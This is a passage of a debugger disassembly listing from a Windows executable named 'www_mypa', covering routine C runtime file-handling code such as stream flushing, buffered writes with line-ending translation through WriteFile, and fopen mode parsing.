E8 6A430000 CALL www_mypa.00407B80 00403816 83C4 04 ADD ESP,4 00403819 8BD8 MOV EBX,EAX 0040381B 6A 01 PUSH 1 0040381D E8 5E430000 CALL www_mypa.00407B80 00403822 83C4 04 ADD ESP,4 00403825 3BC3 CMP EAX,EBX 00403827 74 1E JE SHORT www_mypa.00403847 00403829 56 PUSH ESI 0040382A E8 51430000 CALL www_mypa.00407B80 0040382F 83C4 04 ADD ESP,4 00403832 50 PUSH EAX 00403833 FF15 2C224100 CALL DWORD PTR DS:[41222C] ; kernel32.CloseHandle 00403839 85C0 TEST EAX,EAX 0040383B 75 0A JNZ SHORT www_mypa.00403847 0040383D FF15 00224100 CALL DWORD PTR DS:[412200] ; ntdll.RtlGetLastWin32Error 00403843 8BD8 MOV EBX,EAX 00403845 EB 02 JMP SHORT www_mypa.00403849 00403847 33DB XOR EBX,EBX 00403849 56 PUSH ESI 0040384A E8 91420000 CALL www_mypa.00407AE0 0040384F 8B55 00 MOV EDX,DWORD PTR SS:[EBP] 00403852 83C4 04 ADD ESP,4 00403855 85DB TEST EBX,EBX 00403857 C6443A 04 00 MOV BYTE PTR DS:[EDX+EDI+4],0 0040385C 74 11 JE SHORT www_mypa.0040386F 0040385E 53 PUSH EBX 0040385F E8 6C2B0000 CALL www_mypa.004063D0 00403864 83C4 04 ADD ESP,4 00403867 83C8 FF OR EAX,FFFFFFFF 0040386A 5F POP EDI 0040386B 5E POP ESI 0040386C 5D POP EBP 0040386D 5B POP EBX 0040386E C3 RETN 0040386F 33C0 XOR EAX,EAX 00403871 5F POP EDI 00403872 5E POP ESI 00403873 5D POP EBP 00403874 5B POP EBX 00403875 C3 RETN 00403876 5F POP EDI 00403877 5E POP ESI 00403878 5D POP EBP 00403879 C705 E8064100 09>MOV DWORD PTR DS:[4106E8],9 00403883 C705 EC064100 00>MOV DWORD PTR DS:[4106EC],0 0040388D 83C8 FF OR EAX,FFFFFFFF 00403890 5B POP EBX 00403891 C3 RETN 00403892 90 NOP 00403893 90 NOP 00403894 90 NOP 00403895 90 NOP 00403896 90 NOP 00403897 90 NOP 00403898 90 NOP 00403899 90 NOP 0040389A 90 NOP 0040389B 90 NOP 0040389C 90 NOP 0040389D 90 NOP 0040389E 90 NOP 0040389F 90 NOP 004038A0 56 PUSH ESI 004038A1 8B7424 08 MOV ESI,DWORD PTR SS:[ESP+8] 004038A5 8B46 0C MOV EAX,DWORD PTR DS:[ESI+C] 004038A8 A8 83 TEST AL,83 004038AA 74 25 JE SHORT www_mypa.004038D1 004038AC A8 08 TEST AL,8 004038AE 74 21 JE SHORT www_mypa.004038D1 004038B0 8B46 08 MOV EAX,DWORD PTR DS:[ESI+8] 004038B3 50 PUSH EAX 004038B4 E8 B7FEFFFF CALL www_mypa.00403770 004038B9 8B46 0C MOV EAX,DWORD PTR DS:[ESI+C] 004038BC 83C4 04 ADD ESP,4 004038BF 25 F7FBFFFF AND EAX,FFFFFBF7 004038C4 8946 0C MOV DWORD PTR DS:[ESI+C],EAX 004038C7 33C0 XOR EAX,EAX 004038C9 8906 MOV DWORD PTR DS:[ESI],EAX 004038CB 8946 08 MOV DWORD PTR DS:[ESI+8],EAX 004038CE 8946 04 MOV DWORD PTR DS:[ESI+4],EAX 004038D1 5E POP ESI 004038D2 C3 RETN 004038D3 90 NOP 004038D4 90 NOP 004038D5 90 NOP 004038D6 90 NOP 004038D7 90 NOP 004038D8 90 NOP 004038D9 90 NOP 004038DA 90 NOP 004038DB 90 NOP 004038DC 90 NOP 004038DD 90 NOP 004038DE 90 NOP 004038DF 90 NOP 004038E0 56 PUSH ESI 004038E1 8B7424 08 MOV ESI,DWORD PTR SS:[ESP+8] 004038E5 85F6 TEST ESI,ESI 004038E7 75 0B JNZ SHORT www_mypa.004038F4 004038E9 56 PUSH ESI 004038EA E8 C1000000 CALL www_mypa.004039B0 004038EF 83C4 04 ADD ESP,4 004038F2 5E POP ESI 004038F3 C3 RETN 004038F4 56 PUSH ESI 004038F5 E8 36000000 CALL www_mypa.00403930 004038FA 83C4 04 ADD ESP,4 004038FD 85C0 TEST EAX,EAX 004038FF 74 05 JE SHORT www_mypa.00403906 00403901 83C8 FF OR EAX,FFFFFFFF 00403904 5E POP ESI 00403905 C3 RETN 00403906 8B46 0C MOV EAX,DWORD PTR DS:[ESI+C] 00403909 F6C4 40 TEST AH,40 0040390C 74 12 JE SHORT www_mypa.00403920 0040390E 8B46 10 MOV EAX,DWORD PTR DS:[ESI+10] 00403911 50 PUSH EAX 00403912 E8 B9420000 CALL www_mypa.00407BD0 00403917 83C4 04 ADD ESP,4 0040391A F7D8 NEG EAX 0040391C 1BC0 SBB EAX,EAX 0040391E 5E POP ESI 0040391F C3 RETN 00403920 33C0 XOR EAX,EAX 00403922 5E POP ESI 00403923 C3 RETN 00403924 90 NOP 00403925 90 NOP 00403926 90 NOP 00403927 90 NOP 00403928 90 NOP 00403929 90 NOP 0040392A 90 NOP 0040392B 90 NOP 0040392C 90 NOP 0040392D 90 NOP 0040392E 90 NOP 0040392F 90 NOP 00403930 53 PUSH EBX 00403931 56 PUSH ESI 00403932 8B7424 0C MOV ESI,DWORD PTR SS:[ESP+C] 00403936 33DB XOR EBX,EBX 00403938 57 PUSH EDI 00403939 8B46 0C MOV EAX,DWORD PTR DS:[ESI+C] 0040393C 8BC8 MOV ECX,EAX 0040393E 83E1 03 AND ECX,3 00403941 80F9 02 CMP CL,2 00403944 75 46 JNZ SHORT www_mypa.0040398C 00403946 A9 08010000 TEST EAX,108 0040394B 74 3F JE SHORT www_mypa.0040398C 0040394D 8B46 08 MOV EAX,DWORD PTR DS:[ESI+8] 00403950 8B3E MOV EDI,DWORD PTR DS:[ESI] 00403952 2BF8 SUB EDI,EAX 00403954 85FF TEST EDI,EDI 00403956 7E 34 JLE SHORT www_mypa.0040398C 00403958 8B56 10 MOV EDX,DWORD PTR DS:[ESI+10] 0040395B 57 PUSH EDI 0040395C 50 PUSH EAX 0040395D 52 PUSH EDX 0040395E E8 FD010000 CALL www_mypa.00403B60 00403963 83C4 0C ADD ESP,0C 00403966 3BC7 CMP EAX,EDI 00403968 8B46 0C MOV EAX,DWORD PTR DS:[ESI+C] 0040396B 75 17 JNZ SHORT www_mypa.00403984 0040396D A8 80 TEST AL,80 0040396F 74 1B JE SHORT www_mypa.0040398C 00403971 24 FD AND AL,0FD 00403973 895E 04 MOV DWORD PTR DS:[ESI+4],EBX 00403976 8946 0C MOV DWORD PTR DS:[ESI+C],EAX 00403979 8B46 08 MOV EAX,DWORD PTR DS:[ESI+8] 0040397C 8906 MOV DWORD PTR DS:[ESI],EAX 0040397E 8BC3 MOV EAX,EBX 00403980 5F POP EDI 00403981 5E POP ESI 00403982 5B POP EBX 00403983 C3 RETN 00403984 0C 20 OR AL,20 00403986 83CB FF OR EBX,FFFFFFFF 00403989 8946 0C MOV DWORD PTR DS:[ESI+C],EAX 0040398C 8B46 08 MOV EAX,DWORD PTR DS:[ESI+8] 0040398F C746 04 00000000 MOV DWORD PTR DS:[ESI+4],0 00403996 8906 MOV DWORD PTR DS:[ESI],EAX 00403998 5F POP EDI 00403999 8BC3 MOV EAX,EBX 0040399B 5E POP ESI 0040399C 5B POP EBX 0040399D C3 RETN 0040399E 90 NOP 0040399F 90 NOP 004039A0 6A 01 PUSH 1 004039A2 E8 09000000 CALL www_mypa.004039B0 004039A7 83C4 04 ADD ESP,4 004039AA C3 RETN 004039AB 90 NOP 004039AC 90 NOP 004039AD 90 NOP 004039AE 90 NOP 004039AF 90 NOP 004039B0 A1 C01A4100 MOV EAX,DWORD PTR DS:[411AC0] 004039B5 53 PUSH EBX 004039B6 8B5C24 08 MOV EBX,DWORD PTR SS:[ESP+8] 004039BA 55 PUSH EBP 004039BB 56 PUSH ESI 004039BC 57 PUSH EDI 004039BD 33ED XOR EBP,EBP 004039BF 33FF XOR EDI,EDI 004039C1 33F6 XOR ESI,ESI 004039C3 85C0 TEST EAX,EAX 004039C5 7E 4D JLE SHORT www_mypa.00403A14 004039C7 A1 BC0A4100 MOV EAX,DWORD PTR DS:[410ABC] 004039CC 8B04B0 MOV EAX,DWORD PTR DS:[EAX+ESI*4] 004039CF 85C0 TEST EAX,EAX 004039D1 74 37 JE SHORT www_mypa.00403A0A 004039D3 8B48 0C MOV ECX,DWORD PTR DS:[EAX+C] 004039D6 F6C1 83 TEST CL,83 004039D9 74 2F JE SHORT www_mypa.00403A0A 004039DB 83FB 01 CMP EBX,1 004039DE 75 11 JNZ SHORT www_mypa.004039F1 004039E0 50 PUSH EAX 004039E1 E8 FAFEFFFF CALL www_mypa.004038E0 004039E6 83C4 04 ADD ESP,4 004039E9 83F8 FF CMP EAX,-1 004039EC 74 1C JE SHORT www_mypa.00403A0A 004039EE 45 INC EBP 004039EF EB 19 JMP SHORT www_mypa.00403A0A 004039F1 85DB TEST EBX,EBX 004039F3 75 15 JNZ SHORT www_mypa.00403A0A 004039F5 F6C1 02 TEST CL,2 004039F8 74 10 JE SHORT www_mypa.00403A0A 004039FA 50 PUSH EAX 004039FB E8 E0FEFFFF CALL www_mypa.004038E0 00403A00 83C4 04 ADD ESP,4 00403A03 83F8 FF CMP EAX,-1 00403A06 75 02 JNZ SHORT www_mypa.00403A0A 00403A08 0BF8 OR EDI,EAX 00403A0A A1 C01A4100 MOV EAX,DWORD PTR DS:[411AC0] 00403A0F 46 INC ESI 00403A10 3BF0 CMP ESI,EAX 00403A12 ^7C B3 JL SHORT www_mypa.004039C7 00403A14 83FB 01 CMP EBX,1 00403A17 8BC5 MOV EAX,EBP 00403A19 74 02 JE SHORT www_mypa.00403A1D 00403A1B 8BC7 MOV EAX,EDI 00403A1D 5F POP EDI 00403A1E 5E POP ESI 00403A1F 5D POP EBP 00403A20 5B POP EBX 00403A21 C3 RETN 00403A22 90 NOP 00403A23 90 NOP 00403A24 90 NOP 00403A25 90 NOP 00403A26 90 NOP 00403A27 90 NOP 00403A28 90 NOP 00403A29 90 NOP 00403A2A 90 NOP 00403A2B 90 NOP 00403A2C 90 NOP 00403A2D 90 NOP 00403A2E 90 NOP 00403A2F 90 NOP 00403A30 53 PUSH EBX 00403A31 55 PUSH EBP 00403A32 56 PUSH ESI 00403A33 8B7424 14 MOV ESI,DWORD PTR SS:[ESP+14] 00403A37 57 PUSH EDI 00403A38 8B46 0C MOV EAX,DWORD PTR DS:[ESI+C] 00403A3B 8B6E 10 MOV EBP,DWORD PTR DS:[ESI+10] 00403A3E A8 82 TEST AL,82 00403A40 0F84 0A010000 JE www_mypa.00403B50 00403A46 A8 40 TEST AL,40 00403A48 0F85 02010000 JNZ www_mypa.00403B50 00403A4E 33DB XOR EBX,EBX 00403A50 A8 01 TEST AL,1 00403A52 74 15 JE SHORT www_mypa.00403A69 00403A54 A8 10 TEST AL,10 00403A56 895E 04 MOV DWORD PTR DS:[ESI+4],EBX 00403A59 0F84 F1000000 JE www_mypa.00403B50 00403A5F 8B4E 08 MOV ECX,DWORD PTR DS:[ESI+8] 00403A62 24 FE AND AL,0FE 00403A64 890E MOV DWORD PTR DS:[ESI],ECX 00403A66 8946 0C MOV DWORD PTR DS:[ESI+C],EAX 00403A69 8B46 0C MOV EAX,DWORD PTR DS:[ESI+C] 00403A6C 895E 04 MOV DWORD PTR DS:[ESI+4],EBX 00403A6F 24 EF AND AL,0EF 00403A71 0C 02 OR AL,2 00403A73 A9 0C010000 TEST EAX,10C 00403A78 8946 0C MOV DWORD PTR DS:[ESI+C],EAX 00403A7B 75 26 JNZ SHORT www_mypa.00403AA3 00403A7D 81FE 68F04000 CMP ESI,www_mypa.0040F068 00403A83 74 08 JE SHORT www_mypa.00403A8D 00403A85 81FE 88F04000 CMP ESI,www_mypa.0040F088 00403A8B 75 0D JNZ SHORT www_mypa.00403A9A 00403A8D 55 PUSH EBP 00403A8E E8 DD420000 CALL www_mypa.00407D70 00403A93 83C4 04 ADD ESP,4 00403A96 85C0 TEST EAX,EAX 00403A98 75 09 JNZ SHORT www_mypa.00403AA3 00403A9A 56 PUSH ESI 00403A9B E8 70420000 CALL www_mypa.00407D10 00403AA0 83C4 04 ADD ESP,4 00403AA3 F746 0C 08010000 TEST DWORD PTR DS:[ESI+C],108 00403AAA 74 6C JE SHORT www_mypa.00403B18 00403AAC 8B46 08 MOV EAX,DWORD PTR DS:[ESI+8] 00403AAF 8B3E MOV EDI,DWORD PTR DS:[ESI] 00403AB1 8B4E 18 MOV ECX,DWORD PTR DS:[ESI+18] 00403AB4 2BF8 SUB EDI,EAX 00403AB6 8D50 01 LEA EDX,DWORD PTR DS:[EAX+1] 00403AB9 49 DEC ECX 00403ABA 3BFB CMP EDI,EBX 00403ABC 8916 MOV DWORD PTR DS:[ESI],EDX 00403ABE 894E 04 MOV DWORD PTR DS:[ESI+4],ECX 00403AC1 7E 18 JLE SHORT www_mypa.00403ADB 00403AC3 57 PUSH EDI 00403AC4 50 PUSH EAX 00403AC5 55 PUSH EBP 00403AC6 E8 95000000 CALL www_mypa.00403B60 00403ACB 8B56 08 MOV EDX,DWORD PTR DS:[ESI+8] 00403ACE 8BD8 MOV EBX,EAX 00403AD0 8A4424 20 MOV AL,BYTE PTR SS:[ESP+20] 00403AD4 83C4 0C ADD ESP,0C 00403AD7 8802 MOV BYTE PTR DS:[EDX],AL 00403AD9 EB 53 JMP SHORT www_mypa.00403B2E 00403ADB 83FD FF CMP EBP,-1 00403ADE 74 16 JE SHORT www_mypa.00403AF6 00403AE0 8BD5 MOV EDX,EBP 00403AE2 8BC5 MOV EAX,EBP 00403AE4 C1FA 05 SAR EDX,5 00403AE7 83E0 1F AND EAX,1F 00403AEA 8B0C95 E01A4100 MOV ECX,DWORD PTR DS:[EDX*4+411AE0] 00403AF1 8D04C1 LEA EAX,DWORD PTR DS:[ECX+EAX*8] 00403AF4 EB 05 JMP SHORT www_mypa.00403AFB 00403AF6 B8 A0EF4000 MOV EAX,www_mypa.0040EFA0 00403AFB F640 04 20 TEST BYTE PTR DS:[EAX+4],20 00403AFF 74 0C JE SHORT www_mypa.00403B0D 00403B01 6A 02 PUSH 2 00403B03 53 PUSH EBX 00403B04 55 PUSH EBP 00403B05 E8 66120000 CALL www_mypa.00404D70 00403B0A 83C4 0C ADD ESP,0C 00403B0D 8B56 08 MOV EDX,DWORD PTR DS:[ESI+8] 00403B10 8A4424 14 MOV AL,BYTE PTR SS:[ESP+14] 00403B14 8802 MOV BYTE PTR DS:[EDX],AL 00403B16 EB 16 JMP SHORT www_mypa.00403B2E 00403B18 BF 01000000 MOV EDI,1 00403B1D 8D4C24 14 LEA ECX,DWORD PTR SS:[ESP+14] 00403B21 57 PUSH EDI 00403B22 51 PUSH ECX 00403B23 55 PUSH EBP 00403B24 E8 37000000 CALL www_mypa.00403B60 00403B29 83C4 0C ADD ESP,0C 00403B2C 8BD8 MOV EBX,EAX 00403B2E 3BDF CMP EBX,EDI 00403B30 74 10 JE SHORT www_mypa.00403B42 00403B32 8B46 0C MOV EAX,DWORD PTR DS:[ESI+C] 00403B35 0C 20 OR AL,20 00403B37 8946 0C MOV DWORD PTR DS:[ESI+C],EAX 00403B3A 83C8 FF OR EAX,FFFFFFFF 00403B3D 5F POP EDI 00403B3E 5E POP ESI 00403B3F 5D POP EBP 00403B40 5B POP EBX 00403B41 C3 RETN 00403B42 8B4424 14 MOV EAX,DWORD PTR SS:[ESP+14] 00403B46 25 FF000000 AND EAX,0FF 00403B4B 5F POP EDI 00403B4C 5E POP ESI 00403B4D 5D POP EBP 00403B4E 5B POP EBX 00403B4F C3 RETN 00403B50 0C 20 OR AL,20 00403B52 5F POP EDI 00403B53 8946 0C MOV DWORD PTR DS:[ESI+C],EAX 00403B56 5E POP ESI 00403B57 5D POP EBP 00403B58 83C8 FF OR EAX,FFFFFFFF 00403B5B 5B POP EBX 00403B5C C3 RETN 00403B5D 90 NOP 00403B5E 90 NOP 00403B5F 90 NOP 00403B60 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 00403B64 8B0D E01B4100 MOV ECX,DWORD PTR DS:[411BE0] 00403B6A 81EC 1C040000 SUB ESP,41C 00403B70 3BC1 CMP EAX,ECX 00403B72 53 PUSH EBX 00403B73 55 PUSH EBP 00403B74 56 PUSH ESI 00403B75 57 PUSH EDI 00403B76 0F83 91010000 JNB www_mypa.00403D0D 00403B7C 8BC8 MOV ECX,EAX 00403B7E 8BF0 MOV ESI,EAX 00403B80 C1F9 05 SAR ECX,5 00403B83 83E6 1F AND ESI,1F 00403B86 8B148D E01A4100 MOV EDX,DWORD PTR DS:[ECX*4+411AE0] 00403B8D 8D3C8D E01A4100 LEA EDI,DWORD PTR DS:[ECX*4+411AE0] 00403B94 C1E6 03 SHL ESI,3 00403B97 897C24 24 MOV DWORD PTR SS:[ESP+24],EDI 00403B9B 897424 14 MOV DWORD PTR SS:[ESP+14],ESI 00403B9F 8A4C16 04 MOV CL,BYTE PTR DS:[ESI+EDX+4] 00403BA3 F6C1 01 TEST CL,1 00403BA6 0F84 61010000 JE www_mypa.00403D0D 00403BAC 8B9C24 38040000 MOV EBX,DWORD PTR SS:[ESP+438] 00403BB3 33ED XOR EBP,EBP 00403BB5 3BDD CMP EBX,EBP 00403BB7 896C24 10 MOV DWORD PTR SS:[ESP+10],EBP 00403BBB 896C24 20 MOV DWORD PTR SS:[ESP+20],EBP 00403BBF 75 0D JNZ SHORT www_mypa.00403BCE 00403BC1 33C0 XOR EAX,EAX 00403BC3 5F POP EDI 00403BC4 5E POP ESI 00403BC5 5D POP EBP 00403BC6 5B POP EBX 00403BC7 81C4 1C040000 ADD ESP,41C 00403BCD C3 RETN 00403BCE F6C1 20 TEST CL,20 00403BD1 74 0C JE SHORT www_mypa.00403BDF 00403BD3 6A 02 PUSH 2 00403BD5 55 PUSH EBP 00403BD6 50 PUSH EAX 00403BD7 E8 94110000 CALL www_mypa.00404D70 00403BDC 83C4 0C ADD ESP,0C 00403BDF 8B07 MOV EAX,DWORD PTR DS:[EDI] 00403BE1 03C6 ADD EAX,ESI 00403BE3 F640 04 80 TEST BYTE PTR DS:[EAX+4],80 00403BE7 0F84 51010000 JE www_mypa.00403D3E 00403BED 8BAC24 34040000 MOV EBP,DWORD PTR SS:[ESP+434] 00403BF4 C74424 18 000000>MOV DWORD PTR SS:[ESP+18],0 00403BFC 85DB TEST EBX,EBX 00403BFE 8BFD MOV EDI,EBP 00403C00 0F86 83000000 JBE www_mypa.00403C89 00403C06 8D4424 28 LEA EAX,DWORD PTR SS:[ESP+28] 00403C0A 8BCF MOV ECX,EDI 00403C0C 2BCD SUB ECX,EBP 00403C0E 3BCB CMP ECX,EBX 00403C10 73 28 JNB SHORT www_mypa.00403C3A 00403C12 8A0F MOV CL,BYTE PTR DS:[EDI] 00403C14 47 INC EDI 00403C15 80F9 0A CMP CL,0A 00403C18 75 0D JNZ SHORT www_mypa.00403C27 00403C1A 8B7424 20 MOV ESI,DWORD PTR SS:[ESP+20] 00403C1E C600 0D MOV BYTE PTR DS:[EAX],0D 00403C21 46 INC ESI 00403C22 40 INC EAX 00403C23 897424 20 MOV DWORD PTR SS:[ESP+20],ESI 00403C27 8808 MOV BYTE PTR DS:[EAX],CL 00403C29 40 INC EAX 00403C2A 8BD0 MOV EDX,EAX 00403C2C 8D4C24 28 LEA ECX,DWORD PTR SS:[ESP+28] 00403C30 2BD1 SUB EDX,ECX 00403C32 81FA 00040000 CMP EDX,400 00403C38 ^7C D0 JL SHORT www_mypa.00403C0A 00403C3A 8BF0 MOV ESI,EAX 00403C3C 8D5424 28 LEA EDX,DWORD PTR SS:[ESP+28] 00403C40 8D4424 1C LEA EAX,DWORD PTR SS:[ESP+1C] 00403C44 2BF2 SUB ESI,EDX 00403C46 8B5424 24 MOV EDX,DWORD PTR SS:[ESP+24] 00403C4A 6A 00 PUSH 0 00403C4C 50 PUSH EAX 00403C4D 8D4C24 30 LEA ECX,DWORD PTR SS:[ESP+30] 00403C51 8B02 MOV EAX,DWORD PTR DS:[EDX] 00403C53 56 PUSH ESI 00403C54 51 PUSH ECX 00403C55 8B4C24 24 MOV ECX,DWORD PTR SS:[ESP+24] 00403C59 8B1401 MOV EDX,DWORD PTR DS:[ECX+EAX] 00403C5C 52 PUSH EDX 00403C5D FF15 A8214100 CALL DWORD PTR DS:[4121A8] ; kernel32.WriteFile 00403C63 85C0 TEST EAX,EAX 00403C65 0F84 C4000000 JE www_mypa.00403D2F 00403C6B 8B4424 1C MOV EAX,DWORD PTR SS:[ESP+1C] 00403C6F 8B5424 10 MOV EDX,DWORD PTR SS:[ESP+10] 00403C73 03D0 ADD EDX,EAX 00403C75 3BC6 CMP EAX,ESI 00403C77 895424 10 MOV DWORD PTR SS:[ESP+10],EDX 00403C7B 7C 08 JL SHORT www_mypa.00403C85 00403C7D 8BC7 MOV EAX,EDI 00403C7F 2BC5 SUB EAX,EBP 00403C81 3BC3 CMP EAX,EBX 00403C83 ^72 81 JB SHORT www_mypa.00403C06 00403C85 8B7424 14 MOV ESI,DWORD PTR SS:[ESP+14] 00403C89 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 00403C8D 85C0 TEST EAX,EAX 00403C8F 75 6D JNZ SHORT www_mypa.00403CFE 00403C91 8B4424 18 MOV EAX,DWORD PTR SS:[ESP+18] 00403C95 85C0 TEST EAX,EAX 00403C97 74 39 JE SHORT www_mypa.00403CD2 00403C99 83F8 05 CMP EAX,5 00403C9C 75 1D JNZ SHORT www_mypa.00403CBB 00403C9E A3 EC064100 MOV DWORD PTR DS:[4106EC],EAX 00403CA3 C705 E8064100 09>MOV DWORD PTR DS:[4106E8],9 00403CAD 83C8 FF OR EAX,FFFFFFFF 00403CB0 5F POP EDI 00403CB1 5E POP ESI 00403CB2 5D POP EBP 00403CB3 5B POP EBX 00403CB4 81C4 1C040000 ADD ESP,41C 00403CBA C3 RETN 00403CBB 50 PUSH EAX 00403CBC E8 0F270000 CALL www_mypa.004063D0 00403CC1 83C4 04 ADD ESP,4 00403CC4 83C8 FF OR EAX,FFFFFFFF 00403CC7 5F POP EDI 00403CC8 5E POP ESI 00403CC9 5D POP EBP 00403CCA 5B POP EBX 00403CCB 81C4 1C040000 ADD ESP,41C 00403CD1 C3 RETN 00403CD2 8B4C24 24 MOV ECX,DWORD PTR SS:[ESP+24] 00403CD6 8B11 MOV EDX,DWORD PTR DS:[ECX] 00403CD8 F64416 04 40 TEST BYTE PTR DS:[ESI+EDX+4],40 00403CDD 74 13 JE SHORT www_mypa.00403CF2 00403CDF 807D 00 1A CMP BYTE PTR SS:[EBP],1A 00403CE3 75 0D JNZ SHORT www_mypa.00403CF2 00403CE5 33C0 XOR EAX,EAX 00403CE7 5F POP EDI 00403CE8 5E POP ESI 00403CE9 5D POP EBP 00403CEA 5B POP EBX 00403CEB 81C4 1C040000 ADD ESP,41C 00403CF1 C3 RETN 00403CF2 C705 E8064100 1C>MOV DWORD PTR DS:[4106E8],1C 00403CFC EB 19 JMP SHORT www_mypa.00403D17 00403CFE 2B4424 20 SUB EAX,DWORD PTR SS:[ESP+20] 00403D02 5F POP EDI 00403D03 5E POP ESI 00403D04 5D POP EBP 00403D05 5B POP EBX 00403D06 81C4 1C040000 ADD ESP,41C 00403D0C C3 RETN 00403D0D C705 E8064100 09>MOV DWORD PTR DS:[4106E8],9 00403D17 5F POP EDI 00403D18 5E POP ESI 00403D19 5D POP EBP 00403D1A C705 EC064100 00>MOV DWORD PTR DS:[4106EC],0 00403D24 83C8 FF OR EAX,FFFFFFFF 00403D27 5B POP EBX 00403D28 81C4 1C040000 ADD ESP,41C 00403D2E C3 RETN 00403D2F FF15 00224100 CALL DWORD PTR DS:[412200] ; ntdll.RtlGetLastWin32Error 00403D35 894424 18 MOV DWORD PTR SS:[ESP+18],EAX 00403D39 ^E9 47FFFFFF JMP www_mypa.00403C85 00403D3E 8B10 MOV EDX,DWORD PTR DS:[EAX] 00403D40 8D4C24 1C LEA ECX,DWORD PTR SS:[ESP+1C] 00403D44 55 PUSH EBP 00403D45 8BAC24 38040000 MOV EBP,DWORD PTR SS:[ESP+438] 00403D4C 51 PUSH ECX 00403D4D 53 PUSH EBX 00403D4E 55 PUSH EBP 00403D4F 52 PUSH EDX 00403D50 FF15 A8214100 CALL DWORD PTR DS:[4121A8] ; kernel32.WriteFile 00403D56 85C0 TEST EAX,EAX 00403D58 74 15 JE SHORT www_mypa.00403D6F 00403D5A 8B4424 1C MOV EAX,DWORD PTR SS:[ESP+1C] 00403D5E C74424 18 000000>MOV DWORD PTR SS:[ESP+18],0 00403D66 894424 10 MOV DWORD PTR SS:[ESP+10],EAX 00403D6A ^E9 1AFFFFFF JMP www_mypa.00403C89 00403D6F FF15 00224100 CALL DWORD PTR DS:[412200] ; ntdll.RtlGetLastWin32Error 00403D75 894424 18 MOV DWORD PTR SS:[ESP+18],EAX 00403D79 ^E9 0BFFFFFF JMP www_mypa.00403C89 00403D7E 90 NOP 00403D7F 90 NOP 00403D80 8B4C24 08 MOV ECX,DWORD PTR SS:[ESP+8] 00403D84 53 PUSH EBX 00403D85 55 PUSH EBP 00403D86 56 PUSH ESI 00403D87 8A01 MOV AL,BYTE PTR DS:[ECX] 00403D89 33D2 XOR EDX,EDX 00403D8B 33ED XOR EBP,EBP 00403D8D 57 PUSH EDI 00403D8E 8B3D 780A4100 MOV EDI,DWORD PTR DS:[410A78] 00403D94 3C 61 CMP AL,61 00403D96 74 1D JE SHORT www_mypa.00403DB5 00403D98 3C 72 CMP AL,72 00403D9A 74 12 JE SHORT www_mypa.00403DAE 00403D9C 3C 77 CMP AL,77 00403D9E 74 07 JE SHORT www_mypa.00403DA7 00403DA0 33C0 XOR EAX,EAX 00403DA2 5F POP EDI 00403DA3 5E POP ESI 00403DA4 5D POP EBP 00403DA5 5B POP EBX 00403DA6 C3 RETN 00403DA7 B8 01030000 MOV EAX,301 00403DAC EB 0C JMP SHORT www_mypa.00403DBA 00403DAE 33C0 XOR EAX,EAX 00403DB0 83CF 01 OR EDI,1 00403DB3 EB 08 JMP SHORT www_mypa.00403DBD 00403DB5 B8 09010000 MOV EAX,109 00403DBA 83CF 02 OR EDI,2 00403DBD 41 INC ECX 00403DBE BE 01000000 MOV ESI,1 00403DC3 894C24 18 MOV DWORD PTR SS:[ESP+18],ECX 00403DC7 8A09 MOV CL,BYTE PTR DS:[ECX] 00403DC9 84C9 TEST CL,CL 00403DCB 0F84 B0000000 JE www_mypa.00403E81 00403DD1 85F6 TEST ESI,ESI 00403DD3 0F84 A8000000 JE www_mypa.00403E81 00403DD9 0FBEC9 MOVSX ECX,CL 00403DDC 83C1 D5 ADD ECX,-2B 00403DDF 83F9 49 CMP ECX,49 00403DE2 0F87 84000000 JA www_mypa.00403E6C 00403DE8 33DB XOR EBX,EBX 00403DEA 8A99 043F4000 MOV BL,BYTE PTR DS:[ECX+403F04] 00403DF0 FF249D DC3E4000 JMP DWORD PTR DS:[EBX*4+403EDC] 00403DF7 A8 02 TEST AL,2 00403DF9 75 71 JNZ SHORT www_mypa.00403E6C 00403DFB 24 FE AND AL,0FE 00403DFD 83E7 FC AND EDI,FFFFFFFC 00403E00 0C 02 OR AL,2 00403E02 81CF 80000000 OR EDI,80 00403E08 EB 64 JMP SHORT www_mypa.00403E6E 00403E0A F6C4 C0 TEST AH,0C0 00403E0D 75 5D JNZ SHORT www_mypa.00403E6C 00403E0F 80CC 80 OR AH,80 00403E12 EB 5A JMP SHORT www_mypa.00403E6E 00403E14 F6C4 C0 TEST AH,0C0 00403E17 75 53 JNZ SHORT www_mypa.00403E6C 00403E19 80CC 40 OR AH,40 00403E1C EB 50 JMP SHORT www_mypa.00403E6E 00403E1E 85D2 TEST EDX,EDX 00403E20 75 4A JNZ SHORT www_mypa.00403E6C 00403E22 BA 01000000 MOV EDX,1 00403E27 81CF 00400000 OR EDI,4000 00403E2D EB 3F JMP SHORT www_mypa.00403E6E 00403E2F 85D2 TEST EDX,EDX 00403E31 75 39 JNZ SHORT www_mypa.00403E6C 00403E33 BA 01000000 MOV EDX,1 00403E38 81E7 FFBFFFFF AND EDI,FFFFBFFF 00403E3E EB 2E JMP SHORT www_mypa.00403E6E 00403E40 85ED TEST EBP,EBP 00403E42 75 28 JNZ SHORT www_mypa.00403E6C 00403E44 BD 01000000 MOV EBP,1 00403E49 0C 20 OR AL,20 00403E4B EB 21 JMP SHORT www_mypa.00403E6E 00403E4D 85ED TEST EBP,EBP 00403E4F 75 1B JNZ SHORT www_mypa.00403E6C 00403E51 BD 01000000 MOV EBP,1 00403E56 0C 10 OR AL,10 00403E58 EB 14 JMP SHORT www_mypa.00403E6E 00403E5A F6C4 10 TEST AH,10 00403E5D 75 0D JNZ SHORT www_mypa.00403E6C 00403E5F 80CC 10 OR AH,10 00403E62 EB 0A JMP SHORT www_mypa.00403E6E 00403E64 A8 40 TEST AL,40 00403E66 75 04 JNZ SHORT www_mypa.00403E6C 00403E68 0C 40 OR AL,40 00403E6A EB 02 JMP SHORT www_mypa.00403E6E 00403E6C 33F6 XOR ESI,ESI 00403E6E 8B4C24 18 MOV ECX,DWORD PTR SS:[ESP+18] 00403E72 41 INC ECX 00403E73 894C24 18 MOV DWORD PTR SS:[ESP+18],ECX 00403E77 8A09 MOV CL,BYTE PTR DS:[ECX] 00403E79 84C9 TEST CL,CL 00403E7B ^0F85 50FFFFFF JNZ www_mypa.00403DD1 00403E81 8B4C24 1C MOV ECX,DWORD PTR SS:[ESP+1C] 00403E85 8B5424 14 MOV EDX,DWORD PTR SS:[ESP+14] 00403E89 68 A4010000 PUSH 1A4 00403E8E 51 PUSH ECX 00403E8F 50 PUSH EAX 00403E90 52 PUSH EDX 00403E91 E8 0A3F0000 CALL www_mypa.00407DA0 